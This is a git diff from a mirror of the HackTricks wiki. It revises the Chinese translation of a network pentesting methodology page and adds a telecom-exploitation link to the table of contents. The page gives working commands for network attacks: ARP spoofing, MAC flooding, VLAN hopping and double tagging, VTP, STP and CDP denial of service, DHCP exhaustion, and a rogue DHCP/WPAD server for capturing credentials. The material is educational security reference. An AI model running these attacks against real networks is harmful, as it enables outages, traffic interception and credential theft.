mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
dbc1db2e26
commit
4c7e871445
@ -21,6 +21,7 @@
|
||||
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
|
||||
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
|
||||
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
|
||||
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
|
||||
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
|
||||
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
|
||||
|
@ -6,13 +6,13 @@
|
||||
|
||||
## 从外部发现主机
|
||||
|
||||
这将是一个关于如何从**互联网**找到**响应的IP**的**简要部分**。\
|
||||
在这种情况下,您有一些**IP范围**(甚至可能有几个**范围**),您只需找到**哪些IP在响应**。
|
||||
这一部分将简要介绍如何从**互联网**中找到**响应的IP**。\
|
||||
在这种情况下,您有一些**IP范围**(甚至可能有多个**范围**),您只需找出**哪些IP在响应**。
|
||||
|
||||
### ICMP
|
||||
|
||||
这是发现主机是否在线的**最简单**和**最快**的方法。\
|
||||
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并期待响应。您可以使用简单的`ping`或使用`fping`来处理**范围**。\
|
||||
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并等待响应。您可以使用简单的`ping`或使用`fping`来处理**范围**。\
|
||||
您还可以使用**nmap**发送其他类型的ICMP数据包(这将避免对常见ICMP回显请求-响应的过滤)。
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
@ -21,13 +21,13 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
```
|
||||
### TCP端口发现
|
||||
|
||||
很常见的情况是所有类型的ICMP数据包都被过滤。因此,您可以检查主机是否在线的唯一方法是**尝试查找开放端口**。每个主机有**65535个端口**,所以,如果您有一个“大的”范围,您**无法**测试每个主机的**每个端口**是否开放,这将花费太多时间。\
|
||||
很常见的情况是所有类型的ICMP数据包都被过滤。因此,您能做的就是**尝试查找开放端口**来检查主机是否在线。每个主机有**65535个端口**,所以如果您有一个“大的”范围,您**无法**测试每个主机的**每个端口**是否开放,这将花费太多时间。\
|
||||
因此,您需要的是一个**快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个**使用最频繁的端口**列表:
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
您也可以使用 `nmap` 执行此步骤,但速度较慢,并且 `nmap` 在识别主机时存在一些问题。
|
||||
您也可以使用 `nmap` 执行此步骤,但它较慢,并且 `nmap` 在识别主机时存在一些问题。
|
||||
|
||||
### HTTP 端口发现
|
||||
|
||||
@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP端口发现
|
||||
|
||||
您还可以尝试检查一些**UDP端口是否开放**,以决定是否应该**更加关注**一个**主机**。由于UDP服务通常**不响应**常规空UDP探测数据包,因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的包,而由于您不知道正在运行哪个服务,您应该根据端口号尝试最可能的服务:
|
||||
您还可以尝试检查一些**UDP端口是否开放**,以决定是否应该**更多关注**一个**主机**。由于UDP服务通常**不响应**常规空UDP探测数据包,因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的数据包,由于您不知道正在运行哪个服务,您应该根据端口号尝试最可能的服务:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**,但即使仅此也需要 **>20分钟**。如果需要 **最快的结果**,可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**(对于 /24 范围,这只需 1 分钟):_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**,但即使仅此也需要 **>20分钟**。如果需要 **最快的结果**,可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner):`./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**(对于 /24 范围,这只需 1 分钟):_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP 端口发现
|
||||
```bash
|
||||
@ -52,7 +52,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
```
|
||||
## Pentesting Wifi
|
||||
|
||||
在这里,您可以找到一份关于撰写时所有知名Wifi攻击的良好指南:
|
||||
在这里,您可以找到一份关于所有著名Wifi攻击的良好指南:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-wifi/
|
||||
@ -64,7 +64,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
|
||||
### Passive
|
||||
|
||||
您可以使用这些工具在连接的网络内部被动发现主机:
|
||||
您可以使用这些工具在连接的网络中被动发现主机:
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
@ -75,7 +75,7 @@ set net.show.meta true #more info
|
||||
```
|
||||
### Active
|
||||
|
||||
注意,在 [_**从外部发现主机**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里**应用**。\
|
||||
请注意,在 [_**从外部发现主机**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里**应用**。\
|
||||
但是,由于您与其他主机在**同一网络**中,您可以做**更多事情**:
|
||||
```bash
|
||||
#ARP discovery
|
||||
@ -101,13 +101,13 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
注意,在 _从外部发现主机_ 中提到的技术 ([_**ICMP**_](#icmp)) 也可以 **在这里应用**。\
|
||||
但是,由于您与其他主机在 **同一网络** 中,您可以做 **更多事情**:
|
||||
|
||||
- 如果您 **ping** 一个 **子网广播地址**,ping 应该会到达 **每个主机**,它们可能会 **回应** **您**:`ping -b 10.10.5.255`
|
||||
- ping **网络广播地址**,您甚至可以找到 **其他子网** 内的主机:`ping -b 255.255.255.255`
|
||||
- 使用 `nmap` 的 `-PE`、`-PP`、`-PM` 标志进行主机发现,分别发送 **ICMPv4 echo**、**时间戳** 和 **子网掩码请求**:`nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- 如果您 **ping** 一个 **子网广播地址**,ping 应该到达 **每个主机**,它们可能会 **回应** **您**: `ping -b 10.10.5.255`
|
||||
- ping **网络广播地址**,您甚至可以找到 **其他子网** 内的主机: `ping -b 255.255.255.255`
|
||||
- 使用 `nmap` 的 `-PE`、`-PP`、`-PM` 标志进行主机发现,分别发送 **ICMPv4 echo**、**时间戳**和 **子网掩码请求**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔法数据包仅仅是一个提供了 **MAC Dst** 的数据包,然后在同一个数据包中 **重复 16 次**。\
|
||||
Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔法数据包只是一个提供了 **MAC Dst** 的数据包,然后在同一个数据包中 **重复 16 次**。\
|
||||
这种类型的数据包通常通过 **以太网 0x0842** 或 **UDP 数据包发送到 9 端口**。\
|
||||
如果 **未提供 \[MAC]**,数据包将发送到 **广播以太网**(广播 MAC 将是被重复的那个)。
|
||||
```bash
|
||||
@ -140,7 +140,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
|
||||
有两种选项可以扫描UDP端口:
|
||||
|
||||
- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_,如果端口是**关闭**的(在多种情况下,ICMP会被**过滤**,因此您将无法收到端口是关闭还是打开的任何信息)。
|
||||
- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_,如果端口是**关闭**的(在多种情况下,ICMP会被**过滤**,因此如果端口关闭或打开,您将不会收到任何信息)。
|
||||
- 发送**格式化的数据报**以引发**服务**的响应(例如,DNS、DHCP、TFTP等,如_nmap-payloads_中列出)。如果您收到**响应**,那么端口是**打开**的。
|
||||
|
||||
**Nmap**将使用“-sV”**混合这两种**选项(UDP扫描非常慢),但请注意,UDP扫描比TCP扫描慢:
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP 扫描
|
||||
|
||||
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)** 和 **UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多 **信令系统 7 (SS7)** 中的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组件,旨在通过 IP 网络传输 SS7 信号。
|
||||
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)** 和 **UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多在 **信令系统 7 (SS7)** 中发现的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组件,旨在通过 IP 网络传输 SS7 信号。
|
||||
|
||||
各种操作系统提供对 **SCTP** 的支持,如 **IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS** 和 **VxWorks**,这表明它在电信和网络领域的广泛接受和实用性。
|
||||
|
||||
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
通过嗅探,您可以通过查看捕获的帧和数据包来了解 IP 范围、子网大小、MAC 地址和主机名的详细信息。如果网络配置错误或交换 fabric 处于压力下,攻击者可以通过被动网络嗅探捕获敏感材料。
|
||||
通过嗅探,您可以通过查看捕获的帧和数据包来了解 IP 范围、子网大小、MAC 地址和主机名的详细信息。如果网络配置错误或交换 fabric 处于压力状态,攻击者可以通过被动网络嗅探捕获敏感材料。
|
||||
|
||||
如果交换以太网网络配置正确,您将只看到广播帧和发往您 MAC 地址的材料。
|
||||
|
||||
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获来自远程机器的数据包。
|
||||
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的包。
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
@ -228,7 +228,7 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
|
||||
|
||||
### ARP 欺骗
|
||||
|
||||
ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 地址具有我们设备的 MAC 地址。然后,受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时与我们的机器联系。
|
||||
ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 拥有我们设备的 MAC。然后,受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时联系我们的机器。
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
@ -256,11 +256,11 @@ macof -i <interface>
|
||||
|
||||
#### 动态干道
|
||||
|
||||
**动态干道协议 (DTP)** 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式 (Trunk) 或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。
|
||||
**动态干道协议 (DTP)** 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式(Trunk)或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。
|
||||
|
||||
默认情况下,交换机端口设置为动态自动模式,这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时,会引发安全问题,迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN,并通过设置虚拟接口来绕过 VLAN 分段。
|
||||
|
||||
许多交换机默认存在 DTP,敌手可以利用这一点模仿交换机的行为,从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的漏洞状态。
|
||||
许多交换机默认存在 DTP,敌手可以利用这一点模仿交换机的行为,从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的脆弱性状态。
|
||||
|
||||
如果发现网络漏洞,可以使用 _**Yersinia**_ 工具通过 DTP 协议“启用干道”,从而观察所有 VLAN 的数据包。
|
||||
```bash
|
||||
@ -275,11 +275,11 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
要枚举VLAN,也可以使用脚本[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。**
|
||||
要枚举VLAN,也可以使用脚本 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
我想指出,**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。**802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。
|
||||
我想指出的是,**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。**802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。
|
||||
|
||||
通过分析 STP 帧,**我们了解到 VLAN 30 和 VLAN 60 的存在。**
|
||||
|
||||
@ -323,11 +323,11 @@ sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Automatic VLAN Hopper
|
||||
|
||||
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 中的主机** 是通过工具 **[https://github.com/nccgroup/vlan-hopping---frogger](https://github.com/nccgroup/vlan-hopping---frogger)** **自动执行** 的。
|
||||
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 中的主机** 是通过工具 **自动执行** 的: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
如果攻击者知道 **受害主机的 MAC、IP 和 VLAN ID 的值**,他可以尝试 **双重标记一个帧**,使用其指定的 VLAN 和受害者的 VLAN 并发送数据包。由于 **受害者无法与攻击者连接**,因此 **攻击者的最佳选择是通过 UDP 进行通信**,与可以执行一些有趣操作的协议(如 SNMP)。
|
||||
如果攻击者知道 **受害主机的 MAC、IP 和 VLAN ID 的值**,他可以尝试 **双重标记一个帧**,使用其指定的 VLAN 和受害者的 VLAN 并发送一个数据包。由于 **受害者无法与攻击者连接**,因此 **攻击者的最佳选择是通过 UDP 进行通信**,与可以执行一些有趣操作的协议(如 SNMP)。
|
||||
|
||||
攻击者的另一个选择是发起 **TCP 端口扫描,伪装成一个由攻击者控制并且受害者可以访问的 IP**(可能通过互联网)。然后,攻击者可以在他拥有的第二个主机上嗅探,如果它接收到来自受害者的一些数据包。
|
||||
|
||||
@ -342,7 +342,7 @@ sendp(packet)
|
||||
```
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
如果您**可以访问直接连接的交换机**,您就有能力**绕过 VLAN 分段**。只需**将端口切换到干道模式**(也称为 trunk),创建具有目标 VLAN ID 的虚拟接口,并配置 IP 地址。您可以尝试动态请求地址(DHCP),或者可以静态配置。具体取决于情况。
|
||||
如果您**可以访问直接连接的交换机**,您就有能力**绕过网络中的VLAN分段**。只需**将端口切换到干线模式**(也称为trunk),创建具有目标VLAN ID的虚拟接口,并配置IP地址。您可以尝试动态请求地址(DHCP),或者可以静态配置。具体取决于情况。
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,34 +350,34 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
在某些环境中,例如访客无线网络,**端口隔离(也称为私有 VLAN)**设置被实施,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或配置不当,使得 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。
|
||||
在某些环境中,例如访客无线网络,实施了**端口隔离(也称为私有VLAN)**设置,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用了网络ACL的缺乏或其不当配置,使得IP数据包能够通过路由器路由到同一网络上的另一个客户端。
|
||||
|
||||
攻击是通过创建一个**携带目标客户端 IP 地址但带有路由器 MAC 地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
|
||||
攻击是通过创建一个**携带目标客户端IP地址但使用路由器MAC地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
|
||||
|
||||
**攻击的关键步骤:**
|
||||
|
||||
1. **构造数据包:** 特别构造一个数据包,以包含目标客户端的 IP 地址,但带有路由器的 MAC 地址。
|
||||
2. **利用路由器行为:** 将构造的数据包发送到路由器,由于配置原因,路由器将数据包重定向到目标客户端,绕过私有 VLAN 设置提供的隔离。
|
||||
1. **构造数据包:** 特别构造一个数据包,以包含目标客户端的IP地址,但使用路由器的MAC地址。
|
||||
2. **利用路由器行为:** 将构造的数据包发送到路由器,由于配置原因,路由器将数据包重定向到目标客户端,绕过私有VLAN设置提供的隔离。
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
VTP(VLAN Trunking Protocol)集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性;任何修改都会增加此数字。交换机采用具有更高修订号的配置,更新自己的 VLAN 数据库。
|
||||
VTP(VLAN Trunking Protocol)集中管理VLAN。它利用修订号来维护VLAN数据库的完整性;任何修改都会增加此数字。交换机采用具有更高修订号的配置,更新自己的VLAN数据库。
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** 管理 VLAN——创建、删除、修改。它向域成员广播 VTP 通告。
|
||||
- **VTP Client:** 接收 VTP 通告以同步其 VLAN 数据库。此角色限制本地 VLAN 配置修改。
|
||||
- **VTP Transparent:** 不参与 VTP 更新,但转发 VTP 通告。不受 VTP 攻击影响,保持修订号为零。
|
||||
- **VTP Server:** 管理VLAN——创建、删除、修改。它向域成员广播VTP公告。
|
||||
- **VTP Client:** 接收VTP公告以同步其VLAN数据库。此角色限制本地VLAN配置修改。
|
||||
- **VTP Transparent:** 不参与VTP更新,但转发VTP公告。不受VTP攻击影响,保持修订号为零。
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **Summary Advertisement:** 每 300 秒由 VTP 服务器广播,携带重要的域信息。
|
||||
- **Subset Advertisement:** 在 VLAN 配置更改后发送。
|
||||
- **Advertisement Request:** 由 VTP 客户端发出,请求 Summary Advertisement,通常是响应检测到更高的配置修订号。
|
||||
- **Summary Advertisement:** 每300秒由VTP服务器广播,携带重要的域信息。
|
||||
- **Subset Advertisement:** 在VLAN配置更改后发送。
|
||||
- **Advertisement Request:** 由VTP客户端发出,请求Summary Advertisement,通常是响应检测到更高的配置修订号。
|
||||
|
||||
VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些端口传播。在 DTP 攻击场景之后,可能会转向 VTP。像 Yersinia 这样的工具可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效地干扰网络。
|
||||
VTP漏洞仅通过干线端口可被利用,因为VTP公告仅通过它们传播。DTP攻击后的场景可能会转向VTP。像Yersinia这样的工具可以促进VTP攻击,旨在清除VLAN数据库,有效地破坏网络。
|
||||
|
||||
注意:本讨论涉及 VTP 版本 1(VTPv1)。
|
||||
注意:本讨论涉及VTP版本1(VTPv1)。
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
@ -389,7 +389,7 @@ VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
发送大量的BPDUs TCP(拓扑变化通知)或Conf(在创建拓扑时发送的BPDUs),交换机会过载并停止正常工作。
|
||||
发送大量BPDUs TCP(拓扑变化通知)或Conf(在创建拓扑时发送的BPDUs),交换机会过载并停止正常工作。
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
@ -417,7 +417,7 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
|
||||
```
|
||||
### CDP 攻击
|
||||
|
||||
CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要,允许它们 **相互识别并共享配置细节**。
|
||||
CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要,使它们能够 **相互识别并共享配置细节**。
|
||||
|
||||
#### 被动数据收集 <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
@ -425,20 +425,20 @@ CDP 被配置为通过所有端口广播信息,这可能导致安全风险。
|
||||
|
||||
#### 诱导 CDP 表泛洪 <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,淹没交换机的内存。以下是使用 Yersinia 这一网络工具发起此类攻击的命令序列:
|
||||
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,淹没交换机的内存。以下是使用 Yersinia(一种用于测试的网络工具)发起此类攻击的命令序列:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
在此攻击中,交换机的 CPU 和 CDP 邻居表负担沉重,导致通常所称的 **“网络瘫痪”**,这是由于过度的资源消耗。
|
||||
在此攻击中,交换机的CPU和CDP邻居表负担沉重,导致通常被称为**“网络瘫痪”**的情况,因为资源消耗过多。
|
||||
|
||||
#### CDP 冒充攻击
|
||||
#### CDP冒充攻击
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
您还可以使用 [**scapy**](https://github.com/secdev/scapy/)。确保使用 `scapy/contrib` 包进行安装。
|
||||
您还可以使用 [**scapy**](https://github.com/secdev/scapy/)。确保通过 `scapy/contrib` 包安装它。
|
||||
|
||||
### VoIP 攻击和 VoIP Hopper 工具
|
||||
|
||||
@ -454,8 +454,8 @@ VoIP 电话与 IoT 设备的集成日益增加,提供了通过特殊电话号
|
||||
|
||||
速度优先的模式是第三种。它需要指定:
|
||||
|
||||
- 攻击者的网络接口 (`-i` 参数)。
|
||||
- 被模拟的 VoIP 设备名称 (`-E` 参数),遵循 Cisco 命名格式(例如,SEP 后跟 MAC 地址)。
|
||||
- 攻击者的网络接口(`-i` 参数)。
|
||||
- 被模拟的 VoIP 设备的名称(`-E` 参数),遵循 Cisco 命名格式(例如,SEP 后跟 MAC 地址)。
|
||||
|
||||
在企业环境中,为了模仿现有的 VoIP 设备,可以:
|
||||
|
||||
@ -463,7 +463,7 @@ VoIP 电话与 IoT 设备的集成日益增加,提供了通过特殊电话号
|
||||
- 浏览电话的显示设置以查看型号信息。
|
||||
- 将 VoIP 设备连接到笔记本电脑,并使用 Wireshark 观察 CDP 请求。
|
||||
|
||||
执行工具的第三种模式的示例命令为:
|
||||
在第三种模式下执行工具的示例命令为:
|
||||
```bash
|
||||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||||
```
|
||||
@ -489,21 +489,21 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**对DHCP服务器可以执行两种类型的DoS**。第一种是**模拟足够多的虚假主机以使用所有可能的IP地址**。\
|
||||
此攻击仅在您能够看到DHCP服务器的响应并完成协议时有效(**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例如,这在**Wifi网络中是不可行的**。
|
||||
**两种类型的 DoS** 可以针对 DHCP 服务器执行。第一种是 **模拟足够的虚假主机以使用所有可能的 IP 地址**。\
|
||||
此攻击仅在您能够看到 DHCP 服务器的响应并完成协议时有效 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例如,这在 **Wifi 网络中是不可行的**。
|
||||
|
||||
另一种执行DHCP DoS的方法是发送**DHCP-RELEASE数据包,源地址为每个可能的IP**。然后,服务器会认为每个人都已完成对该IP的使用。
|
||||
执行 DHCP DoS 的另一种方法是发送 **DHCP-RELEASE 数据包,源地址为每个可能的 IP**。然后,服务器会认为每个人都已完成使用该 IP。
|
||||
```bash
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
一种更自动化的方法是使用工具 [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
您可以使用提到的 DoS 攻击强制客户端在环境中获取新租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。
|
||||
您可以使用提到的 DoS 攻击迫使客户端在环境中获取新的租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。
|
||||
|
||||
#### 设置恶意值
|
||||
|
||||
可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获来自客户端的出站流量,而错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
|
||||
可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
|
||||
|
||||
以下是配置流氓 DHCP 服务器的命令选项:
|
||||
|
||||
@ -514,7 +514,7 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
- **次级 DNS 服务器 IP**:可选地,使用 `-s 10.0.0.1` 设置次级 DNS 服务器 IP。
|
||||
- **本地网络的子网掩码**:使用 `-n 255.255.255.0` 定义本地网络的子网掩码。
|
||||
- **DHCP 流量的接口**:使用 `-I eth1` 在特定网络接口上监听 DHCP 流量。
|
||||
- **WPAD 配置地址**:使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址,以协助网络流量拦截。
|
||||
- **WPAD 配置地址**:使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址,以协助拦截网络流量。
|
||||
- **欺骗默认网关 IP**:包括 `-S` 来欺骗默认网关 IP 地址。
|
||||
